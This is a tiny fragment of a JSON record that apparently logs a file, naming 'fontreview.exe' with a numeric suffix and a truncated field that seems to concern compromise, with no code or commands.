File","process":null,"filename":"fontreview.exe.2280836192","compromi